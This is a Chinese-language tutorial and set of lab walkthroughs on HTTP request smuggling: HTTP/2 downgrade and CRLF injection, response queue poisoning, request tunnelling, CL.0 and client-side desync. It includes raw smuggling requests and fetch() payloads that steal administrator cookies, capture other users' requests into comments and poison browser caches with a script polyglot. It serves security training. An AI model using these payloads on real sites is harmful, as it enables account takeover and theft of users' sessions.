HTTP/2的另一个有趣的特性是能够使用:scheme伪头在请求本身中显式指定协议头。虽然这通常只包含http或https,但我们可以包含任意值。
例如,当服务器使用:scheme头动态生成URL时,这会很有用。在这种情况下,我们可以向URL添加前缀,甚至可以通过将真实URL推入查询字符串来完全覆盖它:
请求
image.png
响应
image.png

向伪头中注入新行

注入:path:method伪头时,我们需要确保生成的HTTP/1请求仍然具有有效的请求行。
由于\r\n终止了HTTP/1中的请求行,简单地在中途添加\r\n只会中断请求。降级后,重写的请求必须在注入的第一个\r\n之前包含以下序列:

<method> + space + <path> + space + HTTP/1.1

只需想象注入在此序列中的位置,并相应地包括所有剩余部分。比如注入:path时,需要在\r\n前加一个空格和HTTP/1.1,如下:
前端(HTTP/2)
image.png
后端(HTTP/1)
image.png
请注意,在这种情况下,我们还添加了一个任意尾随标头来捕获在重写期间自动添加的空格和协议。

隐式的HTTP/2的支持

浏览器和其他客户端,包括Burp,通常只使用HTTP/2与服务器通信,这些服务器明确宣称通过ALPN 作为TLS握手的一部分来支持这种通信方式。
某些服务器支持HTTP/2但由于配置错误而无法正确声明。在这种情况下,服务器似乎只支持HTTP/1.1,因为客户端默认将其作为后备选项。因此,我们可能会忽视可行的HTTP/2攻击面并遗漏协议级别的问题,例如我们上面介绍的基于HTTP/2降级的请求走私案例。
强制Burp Repeater使用HTTP/2以便我们可以手动测试此错误配置:

  1. Settings对话框中,转到Tools> Repeater

  2. Connections下,启用Allow HTTP/2 ALPN override选项。

  3. Repeater中,转到Inspector面板并展开Request attributes部分。

  4. 协议开关设置为HTTP/2。 Burp现在将使用HTTP/2发送此选项卡上的所有请求,无论服务器是否宣称对此的支持。

响应队列投毒

响应队列投毒是一种强大的请求走私攻击形式,它会导致前端服务器开始将来自后端的响应映射到错误的请求。实际上,这意味着同一前端/后端连接的所有用户都是持久服务的响应,这些响应是为其他人准备的。
这是通过走私一个完整的请求来实现的,从而在前端服务器只期望一个响应时从后端引出两个响应。

响应队列投毒有什么影响?

响应队列投毒的影响通常是灾难性的。一旦队列中毒,攻击者只需发出任意后续请求即可捕获其他用户的响应。这些响应可能包含敏感的个人或企业数据,以及会话令牌等,有效地授予攻击者对受害者帐户的完全访问权限。
响应队列投毒还会造成重大的附带损害,有效地破坏通过同一TCP连接将流量发送到后端的任何其他用户的站点。在尝试正常浏览站点时,用户会从服务器收到看似随机的响应,这将阻止大多数功能正常工作。

如何构造响应队列投毒攻击?

一次成功的响应队列投毒攻击,必须满足以下条件:

  1. 前端服务器和后端服务器之间的TCP连接被重复用于多个请求/响应周期。

  2. 攻击者能够成功走私一个完整的、独立的请求,该请求从后端服务器接收到自己独特的响应。

  3. 攻击不会导致任一服务器关闭TCP连接。服务器通常会在收到无效请求时关闭传入连接,因为它们无法确定请求应该在何处结束。

了解请求走私的后果

请求走私攻击通常涉及走私部分请求,服务器将其作为前缀添加到连接上下一个请求的开头。重要的是要注意走私请求的内容会影响初始攻击后连接发生的情况。
如果我们只是走私带有一些标头的请求行,假设不久之后在连接上发送了另一个请求,后端最终仍然会看到两个完整的请求。
image.png
如果我们转而走私一个还包含正文的请求,则连接上的下一个请求将附加到走私请求的正文中。这通常会有基于明显的Content-Length截断最终请求的副作用。结果,后端有效地看到了三个请求,其中第三个"请求"只是一堆剩余的字节:
前端(CL)
image.png
后端(TE)
image.png
由于这些剩余字节不构成有效请求,这通常会导致错误,导致服务器关闭连接。这就不符合必须满足的条件了。

走私一个完整的请求

稍加小心,我们可以走私一个完整的请求,而不仅仅是一个前缀。只要我们同时发送两个请求,连接上的任何后续请求都将保持不变:
前端(CL)
image.png
后端(TE)
image.png
请注意,没有无效请求击中后端,因此连接应在攻击后保持打开状态。

让响应队列去同步

当我们走私一个完整的请求时,前端服务器仍然认为它只转发了一个请求。另一方面,后端看到两个不同的请求,并相应地发送两个响应:
image.png
前端正确地将第一个响应映射到初始"包装器(wrapper)"请求并将其转发给客户端。由于没有其他请求等待响应,意外的第二个响应将保存在前端和后端之间连接的队列中。
当前端收到另一个请求时,它会照常将其转发给后端。但是,在发出响应时,它将发送队列中的第一个,即对走私请求的剩余响应。
然后留下来自后端的正确响应而没有匹配的请求。每次新请求通过同一连接转发到后端时,都会重复此循环。

窃取其他用户的响应

一旦响应队列中毒,攻击者可以发送任意请求来捕获另一个用户的响应。
image.png
他们无法控制收到哪些响应,因为他们总是会收到队列中的下一个响应,即对前一个用户请求的响应。在某些情况下,这将是有限的收益。但是,使用Burp Intruder等工具,攻击者可以轻松地自动执行重新发出请求的过程。通过这样做,他们可以快速获取针对不同用户的各种响应,至少其中一些可能包含有用的数据。
只要前端/后端连接保持打开状态,攻击者就可以继续窃取这样的响应。关闭连接的确切时间因服务器而异,但常见的默认设置是在处理100个请求后终止连接。在当前连接关闭后重新连接新连接也很简单。
为了更容易区分窃取的响应和对我们自己的请求的响应,可以尝试在发送的两个请求中使用不存在的路径。这样一来,我们自己的请求应该始终如一地收到404响应。
这类攻击其实通过经典的HTTP/1请求走私和HTTP/2降级攻击都可以实现。

配套靶场:通过H2.TE请求走私的响应队列投毒

题目说靶场存在前端服务器从HTTP/2降级的走私请求漏洞。目标还是利用这个漏洞删除carlos这个用户。管理员用户大概15秒登录一次系统。我们先构造一个简单的基于H2.TE的请求走私前缀:

POST / HTTP/2
Host: [靶机ID].web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED

如果发送两次请求以后收到404响应,说明已经可以成功发动走私请求攻击了。然后我们就构造走私一个完整请求的走私请求,并且这两个请求均指向一个不存在的路径,如果后面连续收到两次404响应,说明我们已经向响应队列中投毒了:

POST /x HTTP/2
Host: [靶机ID].web-security-academy.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: [靶机ID].web-security-academy.net

然后不断地发送,直到收到302的响应。如果一直收到的不是404就是200可以故意触发一次异常请求然后重新来过。
image.png
这样我们就拿到了管理员的cookie,然后我们就可以构造这样的请求进入管理后台删除carlos这个用户了:

GET /admin HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=[窃取到的管理员cookie]

image.png
然后我们就可以删除carlos了,解题成功,除了等302不太好等,但是这类漏洞真的好有意思啊,都谁研究的呢?
image.png

HTTP/2请求拆分

当我们学习响应队列投毒时,我们了解了如何在后端将单个HTTP请求拆分为两个完整的请求。在我们查看的案例中,拆分发生在消息正文中,但是当HTTP/2降级时,我们也可以导致此拆分发生在头中。
这种方法更加通用,因为不依赖于使用允许包含正文的请求方法。例如,我们甚至可以使用GET请求:
image.png
这在验证content-length且后端不支持分块编码的情况下也很有用。

交代前端重写

要在头中拆分请求,我们需要了解前端服务器如何重写请求,并在手动添加任何HTTP/1头时考虑到这一点。否则,其中一个请求可能缺少强制头。
例如,我们需要确保后端收到的两个请求都包含Host头。前端服务器通常会在降级期间剥离:authority伪头并将其替换为新的HTTP/1Host头。执行此操作有不同的方法,这可能会影响需要将要注入的Host头放置在何处。
我们看看下面的请求:
image.png
在重写期间,一些前端服务器将新的Host头附加到当前头列表的末尾。就HTTP/2前端而言,this在foo头之后。请注意,这也是在请求将在后端拆分的点之后。这意味着第一个请求根本没有Host头,而走私的请求会有两个。在这种情况下,我们需要定位注入的Host头,以便在发生拆分后它最终出现在第一个请求中:
image.png
我们还需要调整要以类似方式注入的任何内部头的位置。

配套靶场:利用CRLF注入的HTTP/2请求拆分

这道题是要利用响应队列投毒窃取管理员的凭证然后删除carlos这个用户。然后要利用CRLF注入,所以我们要利用这个Inspector添加一个头:
image.png
image.png
这次比较幸运啊,第二个包就成功窃取到admin登录后跳转的响应了,里面包含着admin的cookie,于是我们就可以以admin身份删除carlos用户了。解题成功!窃取管理员凭证也超级有趣啊!
image.png

HTTP请求隧道

前面我们介绍的许多请求走私攻击都是可能的,因为前端和后端之间的相同连接处理多个请求。虽然一些服务器会为任何请求重用连接,但其他服务器有更严格的策略。
例如,某些服务器只允许来自同一IP地址或同一客户端的请求重用连接。其他人根本不会重用连接,这限制了我们可以通过经典请求走私实现的目标,因为没有明显的方法来影响其他用户的流量。
image.png
虽然不能通过投毒套接字来干扰其他用户的请求,但仍然可以发送一个请求,该请求会从后端引发两个响应。这可能使我们能够从前端完全隐藏请求及其匹配的响应。
image.png
我们可以使用此技术绕过前端安全措施,不然这些措施可能会阻止发送某些请求。事实上,即使是一些专门为防止请求走私攻击而设计的机制也无法阻止请求隧道。
以这种方式将请求传送到后端提供了一种更有限的请求走私形式,但它仍然可能导致高危漏洞。

使用HTTP/2的请求隧道

HTTP/1和HTTP/2都可以使用请求隧道,但在仅HTTP/1的环境中检测起来要困难得多。由于持久(keep-alive)连接在HTTP/1中的工作方式,即使收到两个响应,也不一定确认请求已成功走私。
另一方面,在HTTP/2中,每个"流(stream)"应该只包含一个请求和响应。如果收到一个HTTP/2响应,正文中似乎是一个HTTP/1响应,就可以确定已经成功地通过隧道传输了第二个请求。

通过HTTP/2请求隧道泄漏内部头

当请求隧道是我们唯一的选择时,那将无法使用我们之前介绍的技术来泄漏内部头,但HTTP/2降级可以提供替代解决方案。
我们可能会欺骗前端将内部头附加到后端的主体参数中。假设我们发送了一个看起来像这样的请求:
image.png
在这种情况下,前端和后端都同意只有一个请求。有趣的是,可以让他们在标题结束的位置上意见不一。
前端将我们注入的所有内容视为头的一部分,因此在尾随comment=字符串之后添加任何新头。另一方面,后端看到\r\n\r\n序列并认为这是头的结尾。comment=字符串和内部头一起被视为正文的一部分。结果是一个comment参数,其值是内部头。
image.png

盲的请求隧道

一些前端服务器读入它们从后端接收到的所有数据。这意味着,如果我们成功通过隧道请求,它们可能会将两个响应转发给客户端,并且对隧道请求的响应嵌套在主响应的主体中。
其他前端服务器仅读取响应的Content-Length头中指定的字节数,因此仅将第一个响应转发给客户端。这会导致盲的请求隧道漏洞,因为我们将无法看到对隧道请求的响应。\

使用HEAD的非盲的的请求隧道

盲的请求隧道可能很难利用,但我们偶尔可以通过使用HEAD请求使这些漏洞成为非盲的。
HEAD请求的响应通常包含一个content-length头,即使它们没有自己的正文。这通常是指将由GET请求返回到同一端点的资源的长度。一些前端服务器无法解决这个问题,并且无论如何都会尝试读取头中指定的字节数。如果成功地通过执行此操作的前端服务器传送请求,则此行为可能会导致它过度读取来自后端的响应。因此,我们收到的响应可能包含从响应开始到隧道请求的字节。
请求
image.png
响应
image.png
当我们有效地将一个响应的content-length头与另一个响应的主体混合时,成功使用此技术是一种平衡行为。
如果我们向其发送HEAD请求的端点返回的资源比尝试读取的隧道响应短,则它可能会在看到任何有趣的内容之前被截断,如上例所示。另一方面,如果返回的content-length比对隧道请求的响应长,可能会遇到超时,因为前端服务器等待额外的字节从后端到达。
幸运的是,通过反复试验,我们通常可以使用以下解决方案之一克服这些问题:

  • HEAD请求指向不同的端点,该端点根据需要返回更长或更短的资源。

  • 如果资源太短,请在主HEAD请求中使用反射输入来注入任意填充字符。即使实际上不会看到输入被反映出来,返回的content-length仍会相应增加。

  • 如果资源太长,请在隧道请求中使用反射输入来注入任意字符,以便隧道响应的长度匹配或超过预期内容的长度。

配套靶场:通过HTTP/2请求隧道绕过访问控制

这道题是需要利用我们刚才学的HTTP/2请求隧道技术以管理员身份删除carlos用户。我们先添加一个畸形的头。
image.png
我们看到它返回了请求不到我们塞到畸形头里的Host,说明它是存在CRLF注入的。然后我们把查询的那个请求发到Repeater,改成POST请求发现还是可以正常得到响应的。于是我们这样构造那个畸形的头。
image.png
我们要保证左边body的查询字符串长度要大于畸形头里指定的content-length,然后我们就可以成功把所有头都带出来了,这些都是用于访问控制的字段。于是我们再次构造畸形的头,记得要切成HEAD请求,为了看一下响应有多大。
image.png
发现报错了,说明我们要获取资源的content-length比我们要读取的响应隧道长,所以我们换一个短一点的,:path伪头可以换成/login路径的。但是很尴尬,还是长,那就变成盲的请求隧道了,不过我们可以直接请求删除carlos,路径都一样的,替换到那个畸形的头里,虽然还是会提示没接收到足够的字节,但是其实它是执行了的。
image.png
成功删除carlos用户,解题成功!虽然很好玩,但是有点烧脑了!
image.png

通过HTTP/2请求隧道的Web缓存投毒

尽管请求隧道通常比经典请求走私更受限制,但有时我们仍然可以构建高严重性攻击。例如,我们能够结合我们目前已经研究过的请求隧道技术,以获得一种非常强大的Web缓存投毒。
使用非盲请求隧道,我们可以有效地将一个响应头与另一个响应的主体混合和匹配。如果正文中的响应反映了未编码的用户输入,可以在浏览器通常不会执行代码的上下文中利用此行为来反射XSS。
例如,以下响应包含未编码的、攻击者可控的输入:
image.png
就其本身而言,这是相对无害的。Content-Type意味着此payload将被浏览器简单地解释为JSON。但是如果改为将请求隧道化到后端,会发生什么情况。此响应将出现在不同响应的主体内,有效地继承其头,包括content-type
image.png
由于缓存发生在前端,缓存也可以被欺骗为其他用户提供这些混合响应。

配套靶场:通过HTTP/2请求隧道的Web缓存投毒

这道题就是要利用HTTP/2请求隧道结合Web缓存投毒将XSS Payload污染到其他用户的响应里。我们先尝试在:path伪头里走私任意头。
image.png
我们发现是可以正常得到响应的,说明它是可以注入的。于是我们切换到HEAD请求并且尝试在:path伪头里通过隧道传输对另一个路径的请求。
image.png
我们接收到了隧道请求的响应,说明是成功的。如果没成功,可以修改postId多试试。下面我们就看看Web缓存投毒是不是成功的,我们只保留:path中的第一行看看什么现象。
image.png
发现我们会得到同样的响应,说明Web缓存投毒也是成功的。接下来我们就需要找一个可以可以不需要编码或转义的情况下能反射表达XSS payload的利用链。我们发现GET /resources会触发一个指向/resources/的重定向。于是我们这样构造畸形的:path伪头。发现超时了,说明主响应的content-type比隧道请求的响应长,所以我们需要填充它知道它超过主响应的content-type
image.png
好家伙,梨子一共填充了8600+字节的natsuk0才凑够,用梨子的ID填充也是为了防止有坏人投梨子的图,嘻嘻嘻。然后在缓存有效期内,我们使用相同的查询参数访问发现是可以成功执行的。机器人每隔5秒访问一次,我们删除查询字符串以后要不断地投毒直到被机器人访问到。解题成功!太好玩了吧这也,该说不说,burp的靶场做的是真仿真,这么复杂的环境都可以诶。
image.png

浏览器驱动的请求走私

在本节中,我们将了解如何在不依赖浏览器永远不会发送的格式错误的请求的情况下进行高危攻击。这不仅将一系列全新的网站暴露给服务器端请求走私,还使我们能够通过诱导受害者的浏览器毒害其与存在漏洞的Web服务器(中间件)的连接来执行这些攻击的客户端变体。

CL.0请求走私

请求走私漏洞是成链的系统如何确定每个请求的开始与结束位置差异的结果。这通常是由于头解析不一致,导致一台服务器使用请求的Content-Length而另一台服务器将消息视为分块处理。但是,我们可以在不依赖这些问题的情况下执行许多相同的攻击。
在某些情况下,可以说服服务器忽略Content-Length头,这意味着它们假设每个请求都在标头的末尾完成。这实际上与将Content-Length视为0相同。
如果后端服务器表现出这种行为,但前端仍然使用将Content-Length头来确定请求的结束位置,则可能会利用这种差异进行HTTP请求走私。

测试CL.0漏洞

要探测CL.0漏洞,首先发送一个在其正文中包含另一个部分请求的请求,然后发送一个正常的后续请求。然后我们可以检查后续请求的响应是否受到走私前缀的影响。
在下面的示例中,对主页的后续请求收到了404响应。这强烈表明后端服务器将POST请求的主体(GET /hopefully404...)解释为另一个请求的开始。
image.png
至关重要的是,请注意我们没有以任何方式篡改头 - 请求的长度由完全正常、准确的Content-Length标头指定。
使用Burp Repeater自己尝试一下:

  1. 创建一个包含设置请求的选项卡和另一个包含任意后续请求的选项卡。

  2. 以正确的顺序将这两个选项卡添加到一个组中。

  3. 使用Send按钮旁边的下拉菜单,将发送模式更改为Send group in sequence (single connection)

  4. Connection头更改为keep-alive状态。

  5. 发送序列并检查响应。

在野外,我们主要在根本不期望POST请求的端点上观察到这种行为,因此它们隐含地假设没有请求有主体。触发服务器级重定向和静态文件请求的端点是主要候选者。

引发CL.0行为

如果我们找不到任何看起来容易受到攻击的端点,可以尝试引发此行为。
当请求的头触发服务器错误时,某些服务器会发出错误响应,而不会消耗套接字上的请求主体。如果他们之后不关闭连接,这可以提供替代的CL.0异步矢量。
我们还可以尝试使用带有混淆的Content-Length头的GET请求。如果能够从后端服务器而不是前端隐藏它,这也有可能导致不同步。在介绍TE.TE请求走私时,我们研究了一些头混淆技术。

配套靶场:CL.0请求走私

这道题就是要利用CL.0删除carlos用户,carlos好惨啊,每次都要被删除。我们先发送两个首页的请求到Repeater,然后将它俩设置为一个标签组。然后将第一个请求改为POST请求,然后在body里套一个请求走私的前缀请求,并且把Connection改为keep-alive。然后我们就开始测试,并不是所有路径都存在漏洞的,如果我们发送序列以后得到404响应,那就说明这个路径存在漏洞。最终我们找到了这个路径是存在漏洞的。
image.png
image.png
我们看到第二个请求会收到404响应,说明是存在漏洞的。然后我们将路径修改为/admin,发现发送两次以后可以直接进入管理员后台了。
image.png
然后我们请求这个删除的URL即可删除carlos了,解题成功!
image.png

H2.0漏洞

如果后端服务器忽略降级请求的Content-Length头,则将HTTP/2请求降级为HTTP/1的网站可能容易受到等效的"H2.0"问题的影响。

客户端异步攻击

经典的异步或请求走私攻击依赖于普通浏览器根本不会发送的故意格式错误的请求。这会限制这些针对使用前端/后端架构的网站的攻击上。然而,正如我们从CL.0攻击中了解到的那样,使用完全与浏览器兼容的HTTP/1.1请求可能导致不同步。这不仅为服务器端请求走私开辟了新的可能性,还带来了一种全新的威胁——客户端异步攻击。

什么是客户端异步攻击?

客户端异步(CSD)是一种攻击,它使受害者的Web浏览器不同步其自身与存在漏洞的网站的连接。这可以与常规请求走私攻击形成对比,后者使前端和后端服务器之间的连接不同步。
image.png
有时可以鼓励Web服务器在不读取正文的情况下响应POST请求。如果它们随后允许浏览器为其他请求重用相同的连接,则会导致客户端不同步漏洞。
用高级术语来说,CSD攻击涉及以下阶段:\

  1. 受害者访问包含恶意JavaScript的任意域上的网页。

  2. JavaScript使受害者的浏览器向存在漏洞的网站发出请求。在其主体中包含一个攻击者控制的请求前缀,很像正常的请求走私攻击。

  3. 响应初始请求后,恶意前缀会留在服务器的TCP/TLS套接字上,从而与浏览器断开连接。

  4. 然后,JavaScript会触发中毒连接的后续请求。这会附加到恶意前缀,从而引起服务器的有害响应。

由于这些攻击不依赖于解析两台服务器之间的差异,这意味着即使是单服务器网站也可能容易受到攻击。
要使这些攻击起作用,请务必注意目标Web服务器不得支持 HTTP/2。客户端不同步依赖于HTTP/1.1连接重用,而浏览器通常支持可用的HTTP/2。

测试客户端异步漏洞

由于依赖浏览器进行攻击会增加复杂性,因此在测试客户端异步漏洞时保持有条不紊非常重要。虽然有时可能很想跳到前面,但我们推荐以下工作流程。这可确保我们分阶段确认对攻击的每个元素的假设。

  • 探测Burp中潜在的异步向量。

  • 确认Burp中的异步向量。

  • 构造POC复现浏览器中的行为

  • 识别可利用的利用链

  • 在Burp中构造有效的利用

  • 在浏览器中复现利用

Burp Scanner和HTTP Request Smuggler扩展都可以帮助我们自动执行此过程的大部分内容,但了解如何手动执行此操作有助于巩固对其工作原理的理解。

探测Burp中潜在的异步向量

测试客户端异步漏洞的第一步是识别或制作导致服务器忽略Content-Length头的请求。探测此行为的最简单方法是发送一个请求,其中指定的Content-Length比实际正文长:

  • 如果请求只是挂起或超时,这表明服务器正在等待标头承诺的剩余字节。

  • 如果立即得到回应,我们可能已经找到了CSD载体。这值得进一步调查。

与CL.0漏洞一样,我们发现最有可能的候选者是不期望POST请求的端点,例如静态文件或服务器级重定向。
或者,我们可以通过触发服务器错误来引发此行为。在这种情况下,请记住仍然需要浏览器发送跨域请求。实际上,这意味着只能篡改URL、正文以及一些零碎的东西,例如Referer头和Content-Type头的后半部分。
image.png
我们还可以通过尝试在Web根目录上方导航来触发服务器错误。请记住,浏览器会规范化路径,因此需要对遍历序列的字符进行URL编码:
image.png

确认Burp中的异步向量

重要的是要注意一些安全服务器在不等待正文的情况下做出响应,但在它到达时仍然正确地解析它。其他服务器不能正确处理Content-Length,而是在响应后立即关闭连接,使它们无法利用。
要过滤掉这些,请尝试在同一连接下发送两个请求,看看是否可以使用第一个请求的主体来影响对第二个请求的响应,就像在探测CL.0请求走私时所做的那样。

构造POC复现浏览器中的行为

一旦您使用Burp确定了合适的向量,确认可以在浏览器中复现异步是很重要的。

  1. 转到计划对受害者发起攻击的站点。这必须与存在漏洞的站点位于不同的域中,并且可以通过HTTPS访问。

  2. 打开浏览器的开发人员工具并转到"Network"选项卡。

  3. 进行以下调整:
    这确保浏览器发送的每个请求都记录在"Network"选项卡上,连同它使用的连接的详细信息。这有助于以后解决任何问题。

    • 选择"Preserve log"选项。

    • 右键单击标题并启用"Connection ID"列。

  4. 切换到"console"选项卡并使用fetch()复制Burp中测试的异步探测。代码应如下所示:

fetch('https://vulnerable-website.com/vulnerable-endpoint', {
method: 'POST',
body: 'GET /natsuk0 HTTP/1.1\r\nNatsuk0: natsuk0', //恶意前缀
mode: 'no-cors', // 确保Connection ID在"Network"选项卡中可见
credentials: 'include' // 向"with-cookies"连接池投毒
}).then(() => {
location = 'https://vulnerable-website.com/' // 使用中毒的连接
})

除了指定POST方法并将我们的恶意前缀添加到正文之外,请注意我们还设置了以下选项:
运行此命令时,我们应该会在"Network"选项卡上看到两个请求。第一个请求应该收到通常的响应。如果第二个请求收到对恶意前缀的响应(在本例中为404),则这确认已成功触发浏览器的异步。
* mode: 'no-cors' - 这可以确保每个请求的"Connection ID"在"Network"选项卡上可见,这有助于进行故障排除。
* credentials: 'include' - 浏览器通常对带cookie和不带cookie的请求使用单独的连接池。此选项可确保毒害"with-cookies"池,这是大多数漏洞利用所需的。

浏览器要求
为了减少任何干扰的可能性并确保测试尽可能模拟任意受害者的浏览器:

  • 使用不通过Burp Suite代理流量的浏览器——使用任何HTTP代理都可能对攻击的成功产生重大影响。我们推荐Chrome,因为它的开发者工具提供了一些有用的故障排除功能。

  • 禁用任何浏览器扩展。

处理重定向

正如我们已经提到的,触发服务器级重定向的端点请求是客户端异步的常见向量。在构建漏洞时,这会有一个小障碍,因为浏览器将遵循此重定向,从而破坏攻击序列。值得庆幸的是,有一个简单的解决方法。
通过为初始请求设置mode: 'cors'选项,我们可以故意触发CORS错误,从而阻止浏览器遵循重定向。然后通过调用catch()而不是then()来恢复攻击序列。例如:

fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /natsuk0 HTTP/1.1\r\nNatsuk0: natsuk0',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    location = 'https://vulnerable-website.com/'
})

这种方法的缺点是无法在"Network"选项卡上看到Connection ID,这可能会使故障排除更加困难。

利用客户端异步漏洞

找到合适的向量并确认可以成功导致浏览器异步后,就可以开始寻找可利用的工具链了。

经典攻击的客户端变体

我们可以使用这些技术来执行许多与服务器端请求走私相同的攻击。我们所需要的只是让受害者访问一个导致其浏览器发起攻击的恶意网站。

配套靶场:客户端异步

这道题需要利用客户端异步获取到对方的会话cookie。这道题不太好做啊,我们只能按照步骤一步一步来。
识别存在漏洞的端点
我们注意到访问网站根目录会触发到/en的重定向,所以我们就选择它了。把根目录的请求发到Repeater。然后关掉自动更新Content-Length的选项。包体置空并且将Content-Length设置为大于0的数值,然后重放。发现马上得到响应,说明它忽略了我们指定的Content-Length的值。
image.png
确认Burp中的异步向量
重新打开自动更新Content-Length的选项。然后在包体中加入走私请求前缀。然后重新发一个正常的根目录的请求并且把它俩放到一个标签组,然后修改重放选项为按照单一连接的序列重放。然后把主请求的Connection头改为keep-alive。发包,发现第二个包得到的是404响应,说明存在异步。
image.png
在浏览器中复现异步向量
因为梨子一直都是用火狐开发版挂着浏览器代理的,所以我们用chrome做测试。chrome没有任何浏览器代理。我们来到Exploit Server,然后f12切到"Network"选项卡,并且打开"Preserve log"
image.png
然后我们切到"console"选项卡,利用fetch()构造这样的请求:

fetch('https://[靶机ID].h1-web-security-academy.net', {
    method: 'POST',
    body: 'GET /natsuk0 HTTP/1.1\r\nNatsuk0: natsuk0',
    mode: 'cors',
    credentials: 'include',
}).catch(() => {
        fetch('https://[靶机ID].h1-web-security-academy.net', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

我们会在"Network"选项卡中会看到两条,一条CORS报错一条404,CORS是为了防止浏览器跟踪重定向的,404是异步的结果,说明我们可以从浏览器触发异步向量。
识别可利用的利用链
我们随便访问一个帖子,发现是有评论功能的。然后我们在History找到访问这个帖子的请求,并记下帖子编号、cookie还有csrf token。然后我们在Repeater里利用异步向量在评论中截获任意请求。我们要这样构造主请求:

POST / HTTP/1.1
Host: [靶机ID].h1-web-security-academy.net
Connection: keep-alive
Content-Length: CORRECT

POST /en/post/comment HTTP/1.1
Host: [靶机ID].h1-web-security-academy.net
Cookie: [你的Cookie]
Content-Length: [要截获的字节长度]
Content-Type: x-www-form-urlencoded
Connection: keep-alive

csrf=[csrf token]&postId=[刚才看的帖子编号]&name=wiener&email=wiener@web-security-academy.net&website=https://ginandjuice.shop&comment=

需要注意的是,走私前缀里的那个CL头长度最好是主请求中走私前缀包体的长度+第二个请求整个的长度。然后第二个请求要这样构造:

GET /natsuk0 HTTP/1.1
Host: [靶机ID].h1-web-security-academy.net

然后重放,如果两个请求都是302,我们就来到那个帖子发现第二个请求被贴到评论里了。
image.png
在浏览器中复现攻击
和前面复现的步骤差不多,只是包体要换成走私前缀。\

fetch('https://[靶机ID].h1-web-security-academy.net', {
    method: 'POST',
    body: 'POST /en/post/comment HTTP/1.1\r\nHost: [靶机ID].h1-web-security-academy.net\r\nCookie: [你的Cookie]\r\nContent-Length: [要截获的字节长度]\r\nContent-Type: x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=[csrf token]&postId=[刚才看的帖子编号]&name=wiener&email=a@gmail.com&website=&comment=',
    mode: 'cors',
    credentials: 'include',
}).catch(() => {
        fetch('https://[靶机ID].h1-web-security-academy.net/natsuk0', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

如果成功的话我们会看到三条日志,一条CORS报错一条重定向到/natsuk0(路径自定义)一条访问帖子的请求。并且在那条帖子也能看到新增的评论。
image.png
image.png
第一条是在Burp测试时新增的,第二条是在浏览器测试时新增的。这下万事俱备了,我们就在Exploit Server中构造这样的请求吧。这里需要调一下那个截获的字节长度,直到能把对方的cookie完整截获。最终发现调到1000正好。
image.png
这也太好玩了吧!太有成就感了,成功接管对方账号,解题成功!
image.png

客户端缓存投毒

我们之前介绍了如何使用服务器端异步将站内(on-site)重定向转换为开放重定向,从而使我们能够劫持JavaScript资源导入。我们可以仅使用客户端异步来达到相同的效果,但在正确的时间投毒正确的连接可能会很棘手。使用异步来投毒浏览器的缓存要容易得多。这样,我们就不必担心它使用哪个连接来加载资源了。大概分为以下四步:

  1. 识别合适的CSD向量并让浏览器异步连接。

  2. 使用异步连接的重定向使缓存中毒。

  3. 触发从目标域导入资源。

  4. 分发payload。

我们每次测试的时候都要清空缓存。

利用重定向向缓存投毒

找到CSD向量并确认可以在浏览器中复现它后,我们需要确定合适的重定向利用链。之后,缓存中毒就相当简单了。
首先,调整POC,以便走私的前缀将触发重定向到要托管恶意payload的域。接下来,将后续请求改为直接请求目标JavaScript文件。代码类似这样的:

<script>
    fetch('https://vulnerable-website.com/desync-vector', {
        method: 'POST',
        body: 'GET /redirect-me HTTP/1.1\r\nNatsuk0: natsuk0',
        credentials: 'include',
        mode: 'no-cors'
    }).then(() => {
        location = 'https://vulnerable-website.com/resources/target.js'
    })
</script>

这将使缓存中毒,尽管会无限重定向回我们的脚本。我们可以通过在浏览器中查看脚本并研究开发人员工具中的"Network"选项卡来确认这一点。

触发资源导入

将受害者送入无限循环可能会有点恼人,但这算不上是一种利用。我们现在需要进一步开发脚本,以便当浏览器返回时已经毒化了它的缓存,它会被导航到易受攻击站点上的一个页面,该页面将触发资源导入。这很容易实现,使用条件语句根据浏览器窗口是否已经查看过脚本来执行不同的代码。
当浏览器尝试导入目标站点上的资源时,它将使用其中毒的缓存条目并第三次被重定向回恶意页面。

分发一个payload

在此阶段,我们已经为攻击奠定了基础,但最后的挑战是找出如何传递可能有害的payload。
最初,受害者的浏览器将恶意页面加载为 HTML,并在我们自己域的上下文中执行嵌套的 JavaScript。当它最终尝试在目标域上导入JavaScript资源并被重定向到恶意页面时,我们会注意到脚本没有执行。这是因为当浏览器需要JavaScript时,我们仍在提供 HTML。
对于实际的利用,需要一种方法来从同一端点提供纯JavaScript,同时确保仅在最后阶段执行以避免干扰设置请求。
一种可能的方法是通过将HTML包装在JavaScript注释中来创建多语言payload:

alert(1);
/*
<script>
    fetch( ... )
</script>
*/

当浏览器将页面加载为HTML时,它只会执行<script>标记中的JavaScript。当它最终在JavaScript上下文中加载它时,它只会执行alert() payload,将其余内容视为任意开发人员评论。

配套靶场:通过客户端异步的客户端缓存投毒

这道题需要我们利用客户端异步对客户端缓存投毒以调用document.cookie()。因为涉及到客户端缓存,所以每次攻击尝试的时候都要清一遍缓存。我们还是按照上一题的步骤一步一步来。
识别异步向量
我们随便把一个请求发到Repeater,然后发现在根目录上加遍历符(../)会报错。然后我们打开这个enable HTTP/1 connection reuse开关。
image.png
然后把Connection改成keep-alive,然后再次重放,发现虽然还是会报错,但是连接会保持10秒。
image.png
然后我们将请求切换为POST,然后禁用更新CL头的值。再次重放,发现可以得到响应,说明是忽略了我们指定的CL头的值的。
image.png
确认Burp中的异步向量
重新开启自动更新CL头的值。然后在包体加一个走私请求前缀。然后像之前一样搞那个标签组,就不赘述了,同样是在第二个请求收到404的响应,就算确认了。
image.png
在浏览器中复现异步向量
还是像之前那样打开Exploit Server以后在console执行那个POC。就不赘述了。但是我们这次日志是接收到两条200的响应。
image.png
这说明浏览器会自动规范化URL,删除了遍历符,所以我们需要在这里把它URL编码(%2f)一下。这下对了,收到了一个500一个404。
image.png
识别可利用的利用链
我们随便找一个帖子,会发现将指向/resources/images/avatarDefault.svg的请求会把路径中的大写等效成小写。
image.png
然后我们又发现我们可以利用协议相对的路径实现一个开放重定向。
image.png
